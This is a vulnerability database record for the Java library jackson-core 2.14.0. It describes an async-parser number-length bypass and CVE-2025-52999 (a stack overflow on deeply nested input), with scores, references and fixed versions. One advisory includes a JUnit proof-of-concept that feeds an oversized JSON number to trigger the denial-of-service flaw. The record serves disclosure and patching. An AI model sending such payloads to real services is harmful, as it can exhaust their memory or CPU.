Lookup for vulnerable packages by Package URL.

Purlpkg:maven/com.fasterxml.jackson.core/jackson-core@2.14.0
Typemaven
Namespacecom.fasterxml.jackson.core
Namejackson-core
Version2.14.0
Qualifiers
Subpath
Is_vulnerabletrue
Next_non_vulnerable_version2.18.6
Latest_non_vulnerable_version2.21.1
Affected_by_vulnerabilities
0
url VCID-evmb-e63r-rfcy
vulnerability_id VCID-evmb-e63r-rfcy
summary
jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition
### Summary
The non-blocking (async) JSON parser in `jackson-core` bypasses the `maxNumberLength` constraint (default: 1000 characters) defined in `StreamReadConstraints`. This allows an attacker to send JSON with arbitrarily long numbers through the async parser API, leading to excessive memory allocation and potential CPU exhaustion, resulting in a Denial of Service (DoS).

The standard synchronous parser correctly enforces this limit, but the async parser fails to do so, creating an inconsistent enforcement policy.

### Details
The root cause is that the async parsing path in `NonBlockingUtf8JsonParserBase` (and related classes) does not call the methods responsible for number length validation.

- The number parsing methods (e.g., `_finishNumberIntegralPart`) accumulate digits into the `TextBuffer` without any length checks.
- After parsing, they call `_valueComplete()`, which finalizes the token but does **not** call `resetInt()` or `resetFloat()`.
- The `resetInt()`/`resetFloat()` methods in `ParserBase` are where the `validateIntegerLength()` and `validateFPLength()` checks are performed.
- Because this validation step is skipped, the `maxNumberLength` constraint is never enforced in the async code path.

### PoC
The following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.

```java
package tools.jackson.core.unittest.dos;

import java.nio.charset.StandardCharsets;

import org.junit.jupiter.api.Test;

import tools.jackson.core.*;
import tools.jackson.core.exc.StreamConstraintsException;
import tools.jackson.core.json.JsonFactory;
import tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;

import static org.junit.jupiter.api.Assertions.*;

/**
 * POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers
 *
 * Authors: sprabhav7, rohan-repos
 * 
 * maxNumberLength default = 1000 characters (digits).
 * A number with more than 1000 digits should be rejected by any parser.
 *
 * BUG: The async parser never calls resetInt()/resetFloat() which is where
 * validateIntegerLength()/validateFPLength() lives. Instead it calls
 * _valueComplete() which skips all number length validation.
 *
 * CWE-770: Allocation of Resources Without Limits or Throttling
 */
class AsyncParserNumberLengthBypassTest {

    private static final int MAX_NUMBER_LENGTH = 1000;
    private static final int TEST_NUMBER_LENGTH = 5000;

    private final JsonFactory factory = new JsonFactory();

    // CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength
    @Test
    void syncParserRejectsLongNumber() throws Exception {
        byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
		
		// Output to console
        System.out.println("[SYNC] Parsing " + TEST_NUMBER_LENGTH + "-digit number (limit: " + MAX_NUMBER_LENGTH + ")");
        try {
            try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {
                while (p.nextToken() != null) {
                    if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
                        System.out.println("[SYNC] Accepted number with " + p.getText().length() + " digits — UNEXPECTED");
                    }
                }
            }
            fail("Sync parser must reject a " + TEST_NUMBER_LENGTH + "-digit number");
        } catch (StreamConstraintsException e) {
            System.out.println("[SYNC] Rejected with StreamConstraintsException: " + e.getMessage());
        }
    }

    // VULNERABILITY: Async parser accepts the SAME number that sync rejects
    @Test
    void asyncParserAcceptsLongNumber() throws Exception {
        byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);

        NonBlockingByteArrayJsonParser p =
            (NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());
        p.feedInput(payload, 0, payload.length);
        p.endOfInput();

        boolean foundNumber = false;
        try {
            while (p.nextToken() != null) {
                if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
                    foundNumber = true;
                    String numberText = p.getText();
                    assertEquals(TEST_NUMBER_LENGTH, numberText.length(),
                        "Async parser silently accepted all " + TEST_NUMBER_LENGTH + " digits");
                }
            }
            // Output to console
            System.out.println("[ASYNC INT] Accepted number with " + TEST_NUMBER_LENGTH + " digits — BUG CONFIRMED");
            assertTrue(foundNumber, "Parser should have produced a VALUE_NUMBER_INT token");
        } catch (StreamConstraintsException e) {
            fail("Bug is fixed — async parser now correctly rejects long numbers: " + e.getMessage());
        }
        p.close();
    }

    private byte[] buildPayloadWithLongInteger(int numDigits) {
        StringBuilder sb = new StringBuilder(numDigits + 10);
        sb.append("{\"v\":");
        for (int i = 0; i < numDigits; i++) {
            sb.append((char) ('1' + (i % 9)));
        }
        sb.append('}');
        return sb.toString().getBytes(StandardCharsets.UTF_8);
    }
}

```


### Impact
A malicious actor can send a JSON document with an arbitrarily long number to an application using the async parser (e.g., in a Spring WebFlux or other reactive application). This can cause:
1.  **Memory Exhaustion:** Unbounded allocation of memory in the `TextBuffer` to store the number's digits, leading to an `OutOfMemoryError`.
2.  **CPU Exhaustion:** If the application subsequently calls `getBigIntegerValue()` or `getDecimalValue()`, the JVM can be tied up in O(n^2) `BigInteger` parsing operations, leading to a CPU-based DoS.

### Suggested Remediation

The async parsing path should be updated to respect the `maxNumberLength` constraint. The simplest fix appears to ensure that `_valueComplete()` or a similar method in the async path calls the appropriate validation methods (`resetInt()` or `resetFloat()`) already present in `ParserBase`, mirroring the behavior of the synchronous parsers.

**NOTE:** This research was performed in collaboration with [rohan-repos](https://github.com/rohan-repos)
references
0
reference_url https://github.com/FasterXML/jackson-core
reference_id
reference_type
scores
0
value 6.9
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/FasterXML/jackson-core
1
reference_url https://github.com/FasterXML/jackson-core/commit/b0c428e6f993e1b5ece5c1c3cb2523e887cd52cf
reference_id
reference_type
scores
0
value 6.9
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/FasterXML/jackson-core/commit/b0c428e6f993e1b5ece5c1c3cb2523e887cd52cf
2
reference_url https://github.com/FasterXML/jackson-core/pull/1555
reference_id
reference_type
scores
0
value 6.9
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/FasterXML/jackson-core/pull/1555
3
reference_url https://github.com/FasterXML/jackson-core/security/advisories/GHSA-72hv-8253-57qq
reference_id
reference_type
scores
0
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
1
value 6.9
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
2
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/FasterXML/jackson-core/security/advisories/GHSA-72hv-8253-57qq
4
reference_url https://github.com/advisories/GHSA-72hv-8253-57qq
reference_id GHSA-72hv-8253-57qq
reference_type
scores
0
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-72hv-8253-57qq
fixed_packages
0
url pkg:maven/com.fasterxml.jackson.core/jackson-core@2.18.6
purl pkg:maven/com.fasterxml.jackson.core/jackson-core@2.18.6
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:maven/com.fasterxml.jackson.core/jackson-core@2.18.6
1
url pkg:maven/com.fasterxml.jackson.core/jackson-core@2.21.1
purl pkg:maven/com.fasterxml.jackson.core/jackson-core@2.21.1
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:maven/com.fasterxml.jackson.core/jackson-core@2.21.1
2
url pkg:maven/com.fasterxml.jackson.core/jackson-core@3.1.0
purl pkg:maven/com.fasterxml.jackson.core/jackson-core@3.1.0
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:maven/com.fasterxml.jackson.core/jackson-core@3.1.0
aliases GHSA-72hv-8253-57qq
risk_score 3.1
exploitability 0.5
weighted_severity 6.2
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-evmb-e63r-rfcy
1
url VCID-pwnn-qx48-ykae
vulnerability_id VCID-pwnn-qx48-ykae
summary
jackson-core can throw a StackoverflowError when processing deeply nested data
### Impact
With older versions  of jackson-core, if you parse an input file and it has deeply nested data, Jackson could end up throwing a StackoverflowError if the depth is particularly large.

### Patches
jackson-core 2.15.0 contains a configurable limit for how deep Jackson will traverse in an input document, defaulting to an allowable depth of 1000. Change is in https://github.com/FasterXML/jackson-core/pull/943. jackson-core will throw a StreamConstraintsException if the limit is reached.
jackson-databind also benefits from this change because it uses jackson-core to parse JSON inputs.

### Workarounds
Users should avoid parsing input files from untrusted sources.
references
0
reference_url https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-52999.json
reference_id
reference_type
scores
0
value 7.5
scoring_system cvssv3
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
url https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-52999.json
1
reference_url https://api.first.org/data/v1/epss?cve=CVE-2025-52999
reference_id
reference_type
scores
0
value 0.00078
scoring_system epss
scoring_elements 0.23381
published_at 2026-04-09T12:55:00Z
1
value 0.00078
scoring_system epss
scoring_elements 0.23437
published_at 2026-04-02T12:55:00Z
2
value 0.00078
scoring_system epss
scoring_elements 0.23473
published_at 2026-04-04T12:55:00Z
3
value 0.00078
scoring_system epss
scoring_elements 0.23259
published_at 2026-04-07T12:55:00Z
4
value 0.00078
scoring_system epss
scoring_elements 0.23331
published_at 2026-04-08T12:55:00Z
5
value 0.00085
scoring_system epss
scoring_elements 0.24625
published_at 2026-04-18T12:55:00Z
6
value 0.00085
scoring_system epss
scoring_elements 0.24719
published_at 2026-04-11T12:55:00Z
7
value 0.00085
scoring_system epss
scoring_elements 0.24622
published_at 2026-04-13T12:55:00Z
8
value 0.00085
scoring_system epss
scoring_elements 0.24679
published_at 2026-04-12T12:55:00Z
9
value 0.00085
scoring_system epss
scoring_elements 0.24635
published_at 2026-04-16T12:55:00Z
10
value 0.00206
scoring_system epss
scoring_elements 0.42836
published_at 2026-04-21T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2025-52999
2
reference_url https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-52999
reference_id
reference_type
scores
url https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-52999
3
reference_url https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml
reference_id
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
url https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml
4
reference_url https://github.com/FasterXML/jackson-core
reference_id
reference_type
scores
0
value 8.7
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/FasterXML/jackson-core
5
reference_url https://github.com/FasterXML/jackson-core/pull/943
reference_id
reference_type
scores
0
value 8.7
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
1
value HIGH
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2025-06-25T18:04:07Z/
url https://github.com/FasterXML/jackson-core/pull/943
6
reference_url https://github.com/FasterXML/jackson-core/security/advisories/GHSA-h46c-h94j-95f3
reference_id
reference_type
scores
0
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
1
value 8.7
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
2
value HIGH
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2025-06-25T18:04:07Z/
url https://github.com/FasterXML/jackson-core/security/advisories/GHSA-h46c-h94j-95f3
7
reference_url https://nvd.nist.gov/vuln/detail/CVE-2025-52999
reference_id
reference_type
scores
0
value 8.7
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2025-52999
8
reference_url https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1108367
reference_id 1108367
reference_type
scores
url https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1108367
9
reference_url https://bugzilla.redhat.com/show_bug.cgi?id=2374804
reference_id 2374804
reference_type
scores
url https://bugzilla.redhat.com/show_bug.cgi?id=2374804
10
reference_url https://github.com/advisories/GHSA-h46c-h94j-95f3
reference_id GHSA-h46c-h94j-95f3
reference_type
scores
0
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-h46c-h94j-95f3
11
reference_url https://access.redhat.com/errata/RHSA-2025:10092
reference_id RHSA-2025:10092
reference_type
scores
url https://access.redhat.com/errata/RHSA-2025:10092
12
reference_url https://access.redhat.com/errata/RHSA-2025:10097
reference_id RHSA-2025:10097
reference_type
scores
url https://access.redhat.com/errata/RHSA-2025:10097
13
reference_url https://access.redhat.com/errata/RHSA-2025:10098
reference_id RHSA-2025:10098
reference_type
scores
url https://access.redhat.com/errata/RHSA-2025:10098
14
reference_url https://access.redhat.com/errata/RHSA-2025:10104
reference_id RHSA-2025:10104
reference_type
scores
url https://access.redhat.com/errata/RHSA-2025:10104
15
reference_url https://access.redhat.com/errata/RHSA-2025:10118
reference_id RHSA-2025:10118
reference_type
scores
url https://access.redhat.com/errata/RHSA-2025:10118
16
reference_url https://access.redhat.com/errata/RHSA-2025:10119
reference_id RHSA-2025:10119
reference_type
scores
url https://access.redhat.com/errata/RHSA-2025:10119
17
reference_url https://access.redhat.com/errata/RHSA-2025:10120
reference_id RHSA-2025:10120
reference_type
scores
url https://access.redhat.com/errata/RHSA-2025:10120
18
reference_url https://access.redhat.com/errata/RHSA-2025:11473
reference_id RHSA-2025:11473
reference_type
scores
url https://access.redhat.com/errata/RHSA-2025:11473
19
reference_url https://access.redhat.com/errata/RHSA-2025:11474
reference_id RHSA-2025:11474
reference_type
scores
url https://access.redhat.com/errata/RHSA-2025:11474
20
reference_url https://access.redhat.com/errata/RHSA-2025:12280
reference_id RHSA-2025:12280
reference_type
scores
url https://access.redhat.com/errata/RHSA-2025:12280
21
reference_url https://access.redhat.com/errata/RHSA-2025:12281
reference_id RHSA-2025:12281
reference_type
scores
url https://access.redhat.com/errata/RHSA-2025:12281
22
reference_url https://access.redhat.com/errata/RHSA-2025:12282
reference_id RHSA-2025:12282
reference_type
scores
url https://access.redhat.com/errata/RHSA-2025:12282
23
reference_url https://access.redhat.com/errata/RHSA-2025:12283
reference_id RHSA-2025:12283
reference_type
scores
url https://access.redhat.com/errata/RHSA-2025:12283
24
reference_url https://access.redhat.com/errata/RHSA-2025:14116
reference_id RHSA-2025:14116
reference_type
scores
url https://access.redhat.com/errata/RHSA-2025:14116
25
reference_url https://access.redhat.com/errata/RHSA-2025:14117
reference_id RHSA-2025:14117
reference_type
scores
url https://access.redhat.com/errata/RHSA-2025:14117
26
reference_url https://access.redhat.com/errata/RHSA-2025:14118
reference_id RHSA-2025:14118
reference_type
scores
url https://access.redhat.com/errata/RHSA-2025:14118
27
reference_url https://access.redhat.com/errata/RHSA-2025:14126
reference_id RHSA-2025:14126
reference_type
scores
url https://access.redhat.com/errata/RHSA-2025:14126
28
reference_url https://access.redhat.com/errata/RHSA-2025:14127
reference_id RHSA-2025:14127
reference_type
scores
url https://access.redhat.com/errata/RHSA-2025:14127
29
reference_url https://access.redhat.com/errata/RHSA-2025:15717
reference_id RHSA-2025:15717
reference_type
scores
url https://access.redhat.com/errata/RHSA-2025:15717
30
reference_url https://access.redhat.com/errata/RHSA-2025:15847
reference_id RHSA-2025:15847
reference_type
scores
url https://access.redhat.com/errata/RHSA-2025:15847
31
reference_url https://access.redhat.com/errata/RHSA-2025:17189
reference_id RHSA-2025:17189
reference_type
scores
url https://access.redhat.com/errata/RHSA-2025:17189
32
reference_url https://access.redhat.com/errata/RHSA-2026:0742
reference_id RHSA-2026:0742
reference_type
scores
url https://access.redhat.com/errata/RHSA-2026:0742
fixed_packages
0
url pkg:maven/com.fasterxml.jackson.core/jackson-core@2.15.0
purl pkg:maven/com.fasterxml.jackson.core/jackson-core@2.15.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-evmb-e63r-rfcy
resource_url http://public2.vulnerablecode.io/packages/pkg:maven/com.fasterxml.jackson.core/jackson-core@2.15.0
aliases CVE-2025-52999, GHSA-h46c-h94j-95f3
risk_score 4.0
exploitability 0.5
weighted_severity 8.0
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-pwnn-qx48-ykae
Fixing_vulnerabilities
Risk_score4.0
Resource_urlhttp://public2.vulnerablecode.io/packages/pkg:maven/com.fasterxml.jackson.core/jackson-core@2.14.0